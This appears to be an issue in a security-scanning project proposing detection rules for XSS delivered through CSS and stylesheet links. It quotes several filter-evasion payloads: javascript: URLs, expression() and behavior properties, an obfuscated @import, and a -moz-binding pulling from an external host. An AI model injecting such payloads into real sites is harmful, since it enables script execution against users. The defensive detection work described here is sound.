Flag common XSS vectors in CSS and CSS files

[nickdaugherty]

XSS can come from CSS:

<LINK REL="stylesheet" HREF="javascript:alert('XSS');">

<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
<DIV STYLE="background-image: url(&#1;javascript:alert('XSS'))">
<style>body{-moz-binding:url(http://ha.ckers.org/xssmoz.xml#xss)}</style>

<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>

<DIV STYLE="width: expression(alert('XSS'));">
<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">

<XSS STYLE="behavior: url(xss.htc);">

In external and inline CSS, we should block:

• <link> with href set to JS
• style urls (like background) consisting of JS
• usage of expression and behavior
• @import set to JS

Note that comments in the CSS style can break normal detection - so we need to strip comments from the source first. Also, the word javascript can be broken up with slashes in some cases, which can defeat basic scanning.

Browser support for some of these is limited, but it's still worth catching.

https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet